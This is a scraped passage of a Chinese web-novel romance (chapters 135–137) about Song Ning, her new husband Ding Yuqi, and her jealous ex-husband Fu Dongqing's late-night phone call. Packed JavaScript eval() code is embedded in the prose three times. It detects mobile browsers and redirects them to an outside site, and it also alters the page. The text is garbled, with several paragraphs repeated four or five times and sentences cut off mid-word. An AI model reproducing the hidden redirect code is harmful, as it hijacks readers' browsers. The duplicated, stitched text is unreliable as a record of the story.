“你昨晚的衣服我让人拿去送洗了,给你找干净衣服穿。” “……我的换洗衣服都放在客房了,你帮我拿过来就行。” 丁予期似乎早有准备,把手上的衣服放在床边,说道:“我放在这里了,你换完就出来。” “……知道了。” 听到门再次被关上的声音,宋凝才紧捏着衣襟转头看了一眼。 确定他已经出去了,这才松了一口气。 换上床边的衣服,确认再三没有问题,她才重新推门走了出去。 这次老姚他们直接头都不敢回了,僵硬地背对着她坐着。 萝卜问道:“丁儿?是不是嫂子出来了?你先看看她衣服穿好没。” 宋凝直接说:“都穿好了,放心吧。” 几个人这才松了一口气。 老姚揉了揉额头:“我这是旧伤未愈又添新伤啊,看给我磕的。” 宋凝走过去看了一眼,只见老姚的额头的确红了一片。 老姚还告状:“嫂子,你以后可得好好穿衣服啊,我这聪明的大脑瓜可不能再遭重了。” “知道了。” 宋凝在沙发上坐下,打量了一下老姚和萝卜的气色。 两个人估计昨晚都没怎么好好睡,看起来还是有些发虚。 “你们感觉好点了么?” “好是好点了,就是饿得慌。” 昨晚在医院里,医生给他们几个催吐了。 算起来,他们几个昨天算是饿了一天,晚上好不容易吃点东西,又全吐了。 能不饿么。 丁予期说:“我已经让厨房去给你们单独煮白粥了,一会儿就送上来。” “白粥啊?!”老姚哀嚎一声:“没味道的啊!” 萝卜也成了蔫萝卜:“我们千里迢迢来S市给你当护花使者,你就给我吃白粥?我吃不进去。” 丁予期强调:“医生说了,你们这几天都只能吃清淡的。” 宋凝想了想说:“我给你们煮点清水汤面吧,没什么油,比白粥好吃一些。” 老姚一听,眼睛立马亮了:“我看行。” 宋凝立刻撸起袖子准备去厨房。 路过的时候,丁予期说:“那我也要一碗。” 宋凝点了点头。 其实宋凝的厨艺很不错,之前跟妈妈刚到H市的时候,妈妈要上班赚钱,每次回家都疲惫不堪。 她那时候还在上学,就主动揽下了做饭的活儿。 每次放学回家,她第一件事就是做饭,吃过之后再去做作业。 等妈妈回到家,把饭菜热一热就可以直接吃。 只不过后来嫁给傅东擎之后,家里请了厨师,每一餐都是按照营养搭配安排好的。 有时候宋凝想自己做,傅东擎都是说:“家里有厨师,何必自己动手?” 算起来,她也有好久没做饭了。 不过还好,煮清汤面不需要太多的技术含量。 挂面煮熟捞出,只用简单的盐、酱油和醋调味,清淡但是不寡淡。 面一端出来,老姚和萝卜就立刻埋头苦吃。 大拿也没多说什么,只是一个劲儿的往嘴里塞。 老姚摇着头叹息:“海鲜大餐那种东西,我们几个还是无福消受啊,还是这种朴素的面条最好吃!” 萝卜呜呜吃的都快哭了:“从来没觉得面条这么好吃过!” 大拿更直接,一碗吃完,抬起头来问宋凝:“嫂子,还有吗?” 宋凝啼笑皆非,立刻又去煮面。 这几个人就像是从难民营出来的一样,普通的清汤面都吃成了满汉全席的架势。 等第二碗吃完,老姚打了个饱嗝,舒坦地叹了口气:“还得是有嫂子好啊,以后我就是嫂子的狗腿子了。” 萝卜还没吃完,嘴里还含着面条,呜呜地说着:“我们丁儿嫁得好,嫁得好哇!” 大拿还是一样的台词:“嫂子,还有吗?” 第一百三十五章 阿凝不是那样的人 午夜,月朗星稀。 自从外面回来之后,傅东擎就一直把自己关在书房里,一直没出过来过。 林澜好几次想要找借口进去体贴安慰一下,可是傅东擎把门反锁了,她进不去,敲门他也不搭理,只能作罢。 已经凌晨了,林澜在沙发上打了一会儿盹,突然就听到吱呀一声门被打开的声音。 她醒了过来,只见傅东擎终于从卧室里走了出来。 只是并不是一贯那种意气风发骄傲自信的样子,整个人显得有些颓废。 “东东……” 傅东擎皱着眉,看都没看她,径直去了阳台的方向。 林澜拿起桌上准备好的点心和果盘,追了上去:“今晚你饭都没吃,这样不行的,多少吃点水果。” 傅东擎靠在阳台的墙壁上,点燃了一支烟,漫无目的地吸了一口:“我不饿。” 林澜捧着果盘,有些无所适从。 两人静默了一会儿,傅东擎终于肯斜眼看了一眼她。 她今天依旧穿的是白色的裙子,黑发披肩。 夜晚光线不好,朦朦胧胧的,倒是真有几分宋凝的味道。 “以后别穿白裙子。”他嫌恶的说:“你学不像,只会东施效颦。” 林澜苦笑了一下,也不辩白。 今晚她那一推,虽然已经装的足够像意外,但傅东擎不是傻子,不是她强行解释就能过关的。 更何况,这样死不认账只会招来他的厌恶。 林澜点了点头:“知道了。” 傅东擎见她乖顺,也不好继续发作,只是对她的厌恶还是没有减轻。 “……我如今才算想明白,那些接二连三出现在我面前的女人到底是怎么回事。呵,原来这一切都是有人蓄谋已久。” 他眯着眼睛吸了一口烟,徐徐吐出:“他还真是挺能忍,这么久了我居然一点都没看出来。” 林澜咬着唇,轻声说道:“我反倒是第一次见他们两个在一起,就觉得他们之间的气氛有点不对。” 傅东擎忽而转头看她:“你第一次见他们?什么时候?” 林澜眼神躲了躲,小声嗫喏道:“就是我为了服务富婆姐姐,放了你鸽子那次。” 傅东擎眯着眼睛想了一会儿,回忆起来了。 原来就是宋凝使了一出调虎离山,紧接着又杀了一个回马枪,揭发了他跟林澜的事,跟他摊牌的那天。 可是…… 那天宋凝明明是一个人回来的,她什么时候跟丁予 期在一起过? 林澜说:“她发消息给我,说要去挑首饰,所以我才放了你鸽子急忙赶去了商场。可是我见到的,却是两个人。 “你的意思是,丁予期陪她去的? 林澜思索了一下,斟酌着措辞:“应该是吧,宋小姐当时应该已经知道我们两个的事情了,故意说了一些话,我有些慌张,帮她试戴耳环的时候不小心弄伤了她的耳朵,结果丁总当时就特别着急,一把把我推开了,扑上去查看她的伤口…… 林澜抬起眼皮偷偷看了一眼傅东擎。 他仍旧是眯着眼抽烟的动作,表情似乎也没怎么变,但不知道为什么,林澜感受到一股迫人的压迫感,周围的空气似乎都冷了好几度。 “继续说。 林澜深吸了一口气,一股脑全都说了出来:“后来的事情我就不太清楚了,他应该是带宋小姐去医院包扎伤口了吧。然后你就来接我了,再接着…… 再接着,宋凝就一个人回来了,捉奸,闹翻,**,一去不回头。 林澜说:“其实我觉得宋小姐也没有我们想象中那么跟丁总不对盘,大晚上的她跟另一个男人在一起,还是自己丈夫的好朋友……这总不能说是实在看不惯对方约出来吵架的吧? 傅东擎淡淡开了口:“住口。 林澜立刻停住了,不敢再说。 “阿凝不是那样的人,不准你在背后编排她。 林澜有些委屈,但她知道这个时候的傅东擎惹不得,只能乖乖点头:“知道了。 傅东擎把烟头在阳台上捻灭,随手扔了下去,然后从西装口袋里取出来了一个熟悉的东西—— 他们婚戒的戒指盒。 他看了看自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053774|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左手无名指上戴着的婚戒,之后又看着躺在掌心里空空如也的戒指盒,唇角还是微微勾了一下:“阿凝只是生气我对她不忠罢了,她又不是真的喜欢上了丁予期。 “可是……林澜说:“小丁总也不错啊,家世好,人也长得帅,又对她那么痴情,时间久了宋小姐未必不会动心。 “你不了解她,傅东擎深吸了一口气:“阿凝看起来温温柔柔,其实脾气很硬,除非她自己也是婚前就精神出轨,否则不可能在这么短的时间内喜欢上别的男人。至少现阶段,她跟丁予期在一起,甚至跟他结婚,都只是为了躲我,让我死心罢了。 林澜没说话。 “最重要的是,婚戒她还留着。 说到这句话的时候,傅东擎脸上的笑容更大了一些。 “阿凝是个很有仪式感的人,如果她真的决定离开我,肯定会把戒指还给我的,只要没还,她心里就还是有我。” 林澜说:“万一她把戒指扔了呢?” 傅东擎的气场骤然间变冷:“扔了?” “……嗯,刚刚我下楼去拿水果的时候听到前台在议论,说是……宋小姐已经搬到丁总的套房里,两个人已经同居了。” 傅东擎极力压抑着:“然后呢?” “还有她们说,之前宋小姐刚到卫斯理酒店的时候,就经常大晚上出入丁总的套房,丁总养了三只狗,也是宋小姐照顾的,她还……” “还什么?” “还自称是狗子们的妈妈。” 傅东擎握着戒指盒的手猛然间收紧:“不可能,阿凝绝不会……” 恰在此时,楼下传来几声狗吠。 在寂静的夜里显得格外刺耳。 他循声望去,只见楼下的小花园里有一男一女三只狗。 女人牵着狗走在前面,白色连衣裙,黑色披发,即使距离太远看不到脸,但因为足够熟悉,傅东擎一眼就认了出来——是宋凝。 而她身后正在给她披衣服的那个男人,已经不言而喻。 他是把自己的外套脱了下来,披在宋凝的肩头。 而她——没有拒绝。 第一百三十六章 等她消气了,自然会回头 宋凝似乎回过身跟他说了句什么,丁予期轻笑。 然后,他快步走到了她身边。 两人就这么肩并肩一起慢悠悠地走着,画面看起来十分宁静美好。 林澜看了傅东擎一眼。 他死死地盯着楼下的两人三狗,目光中似乎要喷火。 林澜叹了口气,“其实……宋小姐也不是很排斥丁总吧?要不然以她的性格,也不会允许其他男人帮她披衣服……” 傅东擎咬着牙:“我说了,她只是想报复我罢了,等她消气了,自然会回头的。” “可是现在她并不知道我们在看她呀,谈何报复?” 傅东擎牙关紧紧咬着,握着首饰盒的那只手在微微颤抖:“你闭嘴!” 楼下的两人很快就走出了小花园。 看样子,应该是出了酒店,往浦江边去了。 傅东擎闭上眼睛,颓然地收回视线,沉沉吐出一口浊气。 面如死灰。 而**此时的楼下,丁予期也往上看了一眼。 ——刚进入小花园的时候,他就发现了站在阳台上往下看的傅东擎和林澜。 宋凝牵着狗已经走远了,回头叫他:“你在看什么?” 丁予期快跑了几步追上她:“没什么,就是看着好像房间里灯还亮着,老姚他们估计还没睡呢。” 说起这个,宋凝也是啧啧称奇:“是不是在部队里训练过的人生命力都特别旺盛?他们折腾了一天都不困的吗?” 丁予期笑骂道:“他们几个就是人菜瘾大,估计这会儿又在玩游戏呢。” 夜晚的风比较凉爽,宋凝想吹吹风,于是把他的外套脱下来还给他:“给你。” “不冷?” “一直就不冷啊,是你刚刚突然给我披上的,然后又说起丽晶酒店的事情,我一时没察觉。” 反正现在已经走出了酒店,宋凝也不冷,他就把外套收了回来。 只是他也没穿,而是拿在手里。 两人沿着浦江边的小路慢慢走着,夜晚人少,平时人头攒动的浦江步行街这会儿十分静谧。 宋凝看着在月光下波光粼粼的江水,轻叹了一声:“希望傅东擎赶紧带着林澜和他爸妈离开。” “怎么,就这么不想见到他?” “烦。” 丁予期说:“要不,我带你去南城待一阵子?刚好丽晶酒店正在装修,我们过去盯着。” 宋凝问他:“你才刚回来,酒店里估计一堆事呢,总不能全 都丢给瑞贝卡。” “没关系,酒店的事情可以远程处理、” “可是老姚他们也刚刚被你叫过来啊,我们走了他们怎么办?” 丁予期沉吟了一下:“一起带去南城?” 宋凝摇了摇头:“算了,总不能什么事都逃避。傅东擎如果真的还要继续纠缠,我们就算跑到哪里他都会追过去的。” 今晚的射击比赛,虽说是被林澜搅和了,成败已定。 但他们两个都知道,傅东擎不会善罢甘休的。 不仅仅是对宋凝还没有完全放手,更多的是他不甘心。 不甘心被最好的兄弟偷了家,不甘心宋凝会断的这么干净,说离开就离开他。 “估计还得持续一阵子,”丁予期唏嘘了两句:“你尽量少跟他们接触。” “我知道。” 遛完狗回去的时候,老姚他们果然还在玩游戏。 丁予期家里有游戏手柄,而且64楼是顶层,旁边都是办公区,此时也没有人,不用担心会吵着客人们休息。 几个人玩的就更加肆无忌惮了。 见他们回来,老姚憋着一脸坏笑:“你们两个,背着我们偷偷出去干嘛了?老实交代!” 萝卜嗷嗷怪叫:“老姚我劝你别问,少儿不宜!” “呸!你才是少儿,你全家都是少儿,我要听我要听,越细致越好!” 宋凝语气平淡,表情坦荡:“遛狗。” 老姚:“还有呢?” “被狗溜。” 刚刚回来的途中遇到了一个流浪狗,好像是个小母狗。 几只德牧就像是疯了一样地往前冲,宋凝差点又被放风筝了。 还好关键时刻丁予期从她手中接过了牵引绳,才把几只见色忘爹妈的好大儿给控制住。 丁予期十分无语的教育儿子们:“人家是小型犬,你们是大型犬,不合适。” 狗子们不听,只是一味地看着小母狗离开的方向,呜呜叫着。 丁予期:“而且你们三个,人家一个,更不合适。” 狗子们不但呜呜叫,还急的直刨地。 丁予期:“不信的话,你们问你妈。” 宋凝:“……” 她什么都不知道。 她现在只想回家。 大拿一向稳重,见宋凝面露倦色,主动提出离开:“走吧,我们也都回自己房间,让嫂子早点休息。” 老姚嘿嘿直笑:“知道了知道了,就你最懂事。” 几 个人收拾好了东西,暧昧地挤挤眼,鱼贯离开了。 只是桌子上还散落着刚刚吃面的碗,还有各种零食瓜子水果皮。 宋凝有点轻微洁癖,撸起袖子就要去收拾。 刚弯下腰,手腕就被握住了。 丁予期:“你去休息,我来。” “你……行吗?” 丁予期把手里的外套扔到沙发上,动手开始卷袖口:“为什么不行?” “你丁少爷从小到大都有人伺候吧?这种打扫和洗碗的活儿你会干?” 丁予期已经动手开始收拾了,动作干净利落:“之前在部队里的时候,也是什么事情都自己做。哪有人去当兵还带着助理和保姆的?” 宋凝看着他的动作,就知道他不是说说而已。 做事情快而且动作老道,绝对不是花架子,是真的做过。 傅东擎是完全不碰这些的。 就算是在读书那段时间,很多事情也都是有人帮他处理好。 如果他们两个单独在一起不想被别人打扰,那这些活就都是宋凝的。 傅东擎心疼她的唯一方式是:“你别弄了,等明天我叫个钟点工来收拾。” 但是炎炎夏日,这些厨余垃圾一晚上肯定就腐烂变质了,屋子里肯定一股味道。 最后还是她实在忍不了,动手解决。 傅东擎还会抱着她的腰满足地轻叹:“我老婆真贤惠。” 那时候她不觉得。 只当是他在夸她。 可现在想想,总觉得“贤惠”这两个字是在骂人。 “宋凝。” 宋凝回过神来:“嗯?” 丁予期说:“去洗澡。” 宋凝顿时紧张起来:“洗澡干嘛?” “……睡觉。” 个人收拾好了东西,暧昧地挤挤眼,鱼贯离开了。 只是桌子上还散落着刚刚吃面的碗,还有各种零食瓜子水果皮。 宋凝有点轻微洁癖,撸起袖子就要去收拾。 刚弯下腰,手腕就被握住了。 丁予期:“你去休息,我来。” “你……行吗?” 丁予期把手里的外套扔到沙发上,动手开始卷袖口:“为什么不行?” “你丁少爷从小到大都有人伺候吧?这种打扫和洗碗的活儿你会干?” 丁予期已经动手开始收拾了,动作干净利落:“之前在部队里的时候,也是什么事情都自己做。哪有人去当兵还带着助理和保姆的?” 宋凝看着他的动作,就知道他不是说说而已。 做事情快而且动作老道,绝对不是花架子,是真的做过。 傅东擎是完全不碰这些的。 就算是在读书那段时间,很多事情也都是有人帮他处理好。 如果他们两个单独在一起不想被别人打扰,那这些活就都是宋凝的。 傅东擎心疼她的唯一方式是:“你别弄了,等明天我叫个钟点工来收拾。” 但是炎炎夏日,这些厨余垃圾一晚上肯定就腐烂变质了,屋子里肯定一股味道。 最后还是她实在忍不了,动手解决。 傅东擎还会抱着她的腰满足地轻叹:“我老婆真贤惠。” 那时候她不觉得。 只当是他在夸她。 可现在想想,总觉得“贤惠”这两个字是在骂人。 “宋凝。” 宋凝回过神来:“嗯?” 丁予期说:“去洗澡。” 宋凝顿时紧张起来:“洗澡干嘛?” “……睡觉。” 个人收拾好了东西,暧昧地挤挤眼,鱼贯离开了。 只是桌子上还散落着刚刚吃面的碗,还有各种零食瓜子水果皮。 宋凝有点轻微洁癖,撸起袖子就要去收拾。 刚弯下腰,手腕就被握住了。 丁予期:“你去休息,我来。” “你……行吗?” 丁予期把手里的外套扔到沙发上,动手开始卷袖口:“为什么不行?” “你丁少爷从小到大都有人伺候吧?这种打扫和洗碗的活儿你会干?” 丁予期已经动手开始收拾了,动作干净利落:“之前在部队里的时候,也是什么事情都自己做。哪有人去当兵还带着助理和保姆的?” 宋凝看着他的动作,就知道他不是说说而已。 做事情快而且动作老道,绝对不是花架子,是真的做过。 傅东擎是完全不碰这些的。 就算是在读书那段时间,很多事情也都是有人帮他处理好。 如果他们两个单独在一起不想被别人打扰,那这些活就都是宋凝的。 傅东擎心疼她的唯一方式是:“你别弄了,等明天我叫个钟点工来收拾。” 但是炎炎夏日,这些厨余垃圾一晚上肯定就腐烂变质了,屋子里肯定一股味道。 最后还是她实在忍不了,动手解决。 傅东擎还会抱着她的腰满足地轻叹:“我老婆真贤惠。” 那时候她不觉得。 只当是他在夸她。 可现在想想,总觉得“贤惠”这两个字是在骂人。 “宋凝。” 宋凝回过神来:“嗯?” 丁予期说:“去洗澡。” 宋凝顿时紧张起来:“洗澡干嘛?” “……睡觉。” 个人收拾好了东西,暧昧地挤挤眼,鱼贯离开了。 只是桌子上还散落着刚刚吃面的碗,还有各种零食瓜子水果皮。 宋凝有点轻微洁癖,撸起袖子就要去收拾。 刚弯下腰,手腕就被握住了。 丁予期:“你去休息,我来。” “你……行吗?” 丁予期把手里的外套扔到沙发上,动手开始卷袖口:“为什么不行?” “你丁少爷从小到大都有人伺候吧?这种打扫和洗碗的活儿你会干?” 丁予期已经动手开始收拾了,动作干净利落:“之前在部队里的时候,也是什么事情都自己做。哪有人去当兵还带着助理和保姆的?” 宋凝看着他的动作,就知道他不是说说而已。 做事情快而且动作老道,绝对不是花架子,是真的做过。 傅东擎是完全不碰这些的。 就算是在读书那段时间,很多事情也都是有人帮他处理好。 如果他们两个单独在一起不想被别人打扰,那这些活就都是宋凝的。 傅东擎心疼她的唯一方式是:“你别弄了,等明天我叫个钟点工来收拾。” 但是炎炎夏日,这些厨余垃圾一晚上肯定就腐烂变质了,屋子里肯定一股味道。 最后还是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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傅东擎还会抱着她的腰满足地轻叹:“我老婆真贤惠。” 那时候她不觉得。 只当是他在夸她。 可现在想想,总觉得“贤惠”这两个字是在骂人。 “宋凝。” 宋凝回过神来:“嗯?” 丁予期说:“去洗澡。” 宋凝顿时紧张起来:“洗澡干嘛?” “……睡觉。” 个人收拾好了东西,暧昧地挤挤眼,鱼贯离开了。 只是桌子上还散落着刚刚吃面的碗,还有各种零食瓜子水果皮。 宋凝有点轻微洁癖,撸起袖子就要去收拾。 刚弯下腰,手腕就被握住了。 丁予期:“你去休息,我来。” “你……行吗?” 丁予期把手里的外套扔到沙发上,动手开始卷袖口:“为什么不行?” “你丁少爷从小到大都有人伺候吧?这种打扫和洗碗的活儿你会干?” 丁予期已经动手开始收拾了,动作干净利落:“之前在部队里的时候,也是什么事情都自己做。哪有人去当兵还带着助理和保姆的?” 宋凝看着他的动作,就知道他不是说说而已。 做事情快而且动作老道,绝对不是花架子,是真的做过。 傅东擎是完全不碰这些的。 就算是在读书那段时间,很多事情也都是有人帮他处理好。 如果他们两个单独在一起不想被别人打扰,那这些活就都是宋凝的。 傅东擎心疼她的唯一方式是:“你别弄了,等明天我叫个钟点工来收拾。” 但是炎炎夏日,这些厨余垃圾一晚上肯定就腐烂变质了,屋子里肯定一股味道。 最后还是她实在忍不了,动手解决。 傅东擎还会抱着她的腰满足地轻叹:“我老婆真贤惠。” 那时候她不觉得。 只当是他在夸她。 可现在想想,总觉得“贤惠”这两个字是在骂人。 “宋凝。” 宋凝回过神来:“嗯?” 丁予期说:“去洗澡。” 宋凝顿时紧张起来:“洗澡干嘛?” “……睡觉。” 个人收拾好了东西,暧昧地挤挤眼,鱼贯离开了。 只是桌子上还散落着刚刚吃面的碗,还有各种零食瓜子水果皮。 宋凝有点轻微洁癖,撸起袖子就要去收拾。 刚弯下腰,手腕就被握住了。 丁予期:“你去休息,我来。” “你……行吗?” 丁予期把手里的外套扔到沙发上,动手开始卷袖口:“为什么不行?” “你丁少爷从小到大都有人伺候吧?这种打扫和洗碗的活儿你会干?” 丁予期已经动手开始收拾了,动作干净利落:“之前在部队里的时候,也是什么事情都自己做。哪有人去当兵还带着助理和保姆的?” 宋凝看着他的动作,就知道他不是说说而已。 做事情快而且动作老道,绝对不是花架子,是真的做过。 傅东擎是完全不碰这些的。 就算是在读书那段时间,很多事情也都是有人帮他处理好。 如果他们两个单独在一起不想被别人打扰,那这些活就都是宋凝的。 傅东擎心疼她的唯一方式是:“你别弄了,等明天我叫个钟点工来收拾。” 但是炎炎夏日,这些厨余垃圾一晚上肯定就腐烂变质了,屋子里肯定一股味道。 最后还是她实在忍不了,动手解决。 傅东擎还会抱着她的腰满足地轻叹:“我老婆真贤惠。” 那时候她不觉得。 只当是他在夸她。 可现在想想,总觉得“贤惠”这两个字是在骂人。 “宋凝。” 宋凝回过神来:“嗯?” 丁予期说:“去洗澡。” 宋凝顿时紧张起来:“洗澡干嘛?” “……睡觉。” 第一百三十七章 似此星辰非昨夜,为谁风露立中宵? 自从领了证之后,这些天丁予期虽然有时候嘴上调侃一下什么新婚燕尔洞房花烛之类的,但是实际上却还是很守礼的。 他或许也是早就知道宋凝的个性,所以几乎也都只是在嘴上逗逗她,并没有任何逾矩。 但是这么时不时来一下,宋凝的心情总是跟着一惊一乍的。 尤其是,她再次抬起头来的时候,在他的眼中还看到了促狭的玩味。 宋凝微微有些生气:“累了一天了大哥,能别这么吓我了吗?” 丁予期眼中的波光粼粼微微暗淡了一下:“吓到你了啊。” “……我去客房洗澡。” 丁予期这个套房里面,主卧和客房里分别自带一个浴室。 宋凝转身回了客房,直接进了浴室。 刚刚她看的分明,丁予期眼中的失落太过明显,想忽视都不行。 他也只是想跟以前一样逗逗她,并没有真的想干什么,到底是她那句“吓我”有点伤害到他了吧。 宋凝思绪有些纷乱。 她仰起头,让水花冲刷着自己的脸颊,试图把一些不明朗的烟雾都冲散干净,好让自己重新找回理智。 扣扣扣—— 浴室的门被敲响。 宋凝吓了一跳,“谁!” “鬼。” 宋凝微微松了一口气:“有事吗?” “你电话响了。” “是谁?” “陌生号码。”丁予期问她:“要接吗?” 宋凝想了想说:“这么晚了,我应该也没有熟悉的人这么晚找我,你不用接,等它自动挂断就好。” “嗯。” 浴室的玻璃门上,映着一个黑色的影子。 身量颀长,影影绰绰。 肩膀宽厚,眼神锐利。 他跟傅东擎的身高差不多,但身材好像比傅东擎更魁梧一些。 应该是之前在部队里待过的原因。 见他一直没走,宋凝轻声问道:“还有事吗?” “你换洗衣服拿了吗?” 宋凝顿时一惊。 刚刚她一鼓作气就进了浴室,什么都没拿。 不过好在这里虽然是丁予期的房间,但好歹也算是酒店的套房,浴室外面还有印着酒店logo的浴巾。 “……你一会儿出去的时候,帮我把客房的门关好,谢谢。” 丁予期没说话,只是玻璃外面的黑色轮廓依然还在,他还没走。 “宋凝。”他说:“那个 号码又打来了。” “还是刚刚那个陌生号码?” “嗯。” “这你都能记住?” “要接吗?” 大晚上能第二次联系她,应该是真的有事。 宋凝担心或许是唐婷,之前他们也用一次性号码联系过,于是快速关了水擦干身体:“我马上出来。” “没关系,如果是唐婷的话,估计是有什么急事。” 宋凝说:“那你先帮我问问,我很快的。” “嗯。” 丁予期按下了接听键,电话那头传来一个熟悉的声音:“阿凝,我们能好好聊聊吗?我就在楼下的小花园里等你,我们之间有十五年的感情,不能就这么儿戏的结束。” “……我知道,这件事的根源就是我没有信任你,我总是把你当做我的所有物,所以看到那张照片才会那么生气。可是阿凝,我是爱你的,你跟着丁予期只能辛苦工作,当我看到你被客人刁难的时候,我的心都在痛。你跟我回去好不好?我会给你找一个安静的地方,好好安顿你,你照样当你的富家太太,我找好多人伺候你,你要是喜欢种花的话,我再给你买一片花圃……” “阿凝,我爸妈那边你不用管,以后我会把你们隔离开,你不用再见他们了。还有林澜,我会把她送去国外,以后你也不会再见到她了。” “还有我们的婚戒!”傅东擎说到这个,有些激动:“你还留着对不对?这是我们爱情的证明,我一直戴着,从未摘下……” 电话那头一直沉默着,只有沙沙的电流声。 傅东擎以为宋凝仍旧在生气,可今天没有立刻挂断他的电话,本身也是一种态度,不是吗? “今天的射击比赛,我看到了你打枪,真的很厉害。阿凝,我从来不知道你还有这一面,那一枪像是打进了我的心里,让我认识了一个全新的你。” “你的手怎么样,有没有受伤?你下来,让我看看好不好?我很担心你。” “阿凝,你怎么不说话?” “是不是丁予期在旁边,不方便说话?没关系,那你下楼,我就在小花园等你……” 可电话另一边没有传来宋凝柔和清冷的声音,取而代之的是一个低沉的男声:“我是丁予期。” “……” “宋凝正在洗澡,让我帮她接电话。” “……” “你刚刚的话我都听到了,明天早上我会转告她的。” 傅东擎立刻质问:“为什么是明天早上?我现在就在 楼下等她!” 丁予期哼笑了一声,走到了窗边,看着楼下花园里傅东擎的身影。 64层的高度下,傅东擎的身影只是一个小点,根本看不清楚他的表情。 但丁予期知道,此时此刻,他肯定也在抬头往上,看着这个房间的窗户。 于是他按亮了阳台的灯,自己站在灯下,让他看的更清楚一点—— 他的声音沉郁:“似此星辰非昨夜,为谁风露立中宵?” 毕竟多年兄弟,傅东擎听明白了他的意思。 如今已经今非昔比,宋凝现在已经是他丁予期写在结婚证上的合法妻子了,他现在这样半夜等人是为哪般? 傅东擎说:“我要跟宋凝说话,你让她下来。” “宋凝现在是我的太太,大晚上的不方便跟其他男人见面,傅总还是请回吧。” 傅东擎不过冷笑了一声:“丁予期,你在怕。你怕我跟阿凝十五年的感情,她不可能完全放下我。你怕只要她跟我见面,就会选择离开你。” “激将法?”丁予期哼笑:“可我不吃这一套。傅总要是想等,那就继续等吧,这盏灯我给你开着,如果你敢看,那就一直看下去吧。” “……丁予期,你什么意思?让我看什么?” “新婚燕尔,刚洗完澡,你说呢?” 楼下等她!” 丁予期哼笑了一声,走到了窗边,看着楼下花园里傅东擎的身影。 64层的高度下,傅东擎的身影只是一个小点,根本看不清楚他的表情。 但丁予期知道,此时此刻,他肯定也在抬头往上,看着这个房间的窗户。 于是他按亮了阳台的灯,自己站在灯下,让他看的更清楚一点—— 他的声音沉郁:“似此星辰非昨夜,为谁风露立中宵?” 毕竟多年兄弟,傅东擎听明白了他的意思。 如今已经今非昔比,宋凝现在已经是他丁予期写在结婚证上的合法妻子了,他现在这样半夜等人是为哪般? 傅东擎说:“我要跟宋凝说话,你让她下来。” “宋凝现在是我的太太,大晚上的不方便跟其他男人见面,傅总还是请回吧。” 傅东擎不过冷笑了一声:“丁予期,你在怕。你怕我跟阿凝十五年的感情,她不可能完全放下我。你怕只要她跟我见面,就会选择离开你。” “激将法?”丁予期哼笑:“可我不吃这一套。傅总要是想等,那就继续等吧,这盏灯我给你开着,如果你敢看,那就一直看下去吧。” “……丁予期,你什么意思?让我看什么?” “新婚燕尔,刚洗完澡,你说呢?” 楼下等她!” 丁予期哼笑了一声,走到了窗边,看着楼下花园里傅东擎的身影。 64层的高度下,傅东擎的身影只是一个小点,根本看不清楚他的表情。 但丁予期知道,此时此刻,他肯定也在抬头往上,看着这个房间的窗户。 于是他按亮了阳台的灯,自己站在灯下,让他看的更清楚一点—— 他的声音沉郁:“似此星辰非昨夜,为谁风露立中宵?” 毕竟多年兄弟,傅东擎听明白了他的意思。 如今已经今非昔比,宋凝现在已经是他丁予期写在结婚证上的合法妻子了,他现在这样半夜等人是为哪般? 傅东擎说:“我要跟宋凝说话,你让她下来。” “宋凝现在是我的太太,大晚上的不方便跟其他男人见面,傅总还是请回吧。” 傅东擎不过冷笑了一声:“丁予期,你在怕。你怕我跟阿凝十五年的感情,她不可能完全放下我。你怕只要她跟我见面,就会选择离开你。” “激将法?”丁予期哼笑:“可我不吃这一套。傅总要是想等,那就继续等吧,这盏灯我给你开着,如果你敢看,那就一直看下去吧。” “……丁予期,你什么意思?让我看什么?” “新婚燕尔,刚洗完澡,你说呢?” 楼下等她!” 丁予期哼笑了一声,走到了窗边,看着楼下花园里傅东擎的身影。 64层的高度下,傅东擎的身影只是一个小点,根本看不清楚他的表情。 但丁予期知道,此时此刻,他肯定也在抬头往上,看着这个房间的窗户。 于是他按亮了阳台的灯,自己站在灯下,让他看的更清楚一点—— 他的声音沉郁:“似此星辰非昨夜,为谁风露立中宵?” 毕竟多年兄弟,傅东擎听明白了他的意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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丁予期哼笑了一声,走到了窗边,看着楼下花园里傅东擎的身影。 64层的高度下,傅东擎的身影只是一个小点,根本看不清楚他的表情。 但丁予期知道,此时此刻,他肯定也在抬头往上,看着这个房间的窗户。 于是他按亮了阳台的灯,自己站在灯下,让他看的更清楚一点—— 他的声音沉郁:“似此星辰非昨夜,为谁风露立中宵?” 毕竟多年兄弟,傅东擎听明白了他的意思。 如今已经今非昔比,宋凝现在已经是他丁予期写在结婚证上的合法妻子了,他现在这样半夜等人是为哪般? 傅东擎说:“我要跟宋凝说话,你让她下来。” “宋凝现在是我的太太,大晚上的不方便跟其他男人见面,傅总还是请回吧。” 傅东擎不过冷笑了一声:“丁予期,你在怕。你怕我跟阿凝十五年的感情,她不可能完全放下我。你怕只要她跟我见面,就会选择离开你。” “激将法?”丁予期哼笑:“可我不吃这一套。傅总要是想等,那就继续等吧,这盏灯我给你开着,如果你敢看,那就一直看下去吧。” “……丁予期,你什么意思?让我看什么?” “新婚燕尔,刚洗完澡,你说呢?” 楼下等她!” 丁予期哼笑了一声,走到了窗边,看着楼下花园里傅东擎的身影。 64层的高度下,傅东擎的身影只是一个小点,根本看不清楚他的表情。 但丁予期知道,此时此刻,他肯定也在抬头往上,看着这个房间的窗户。 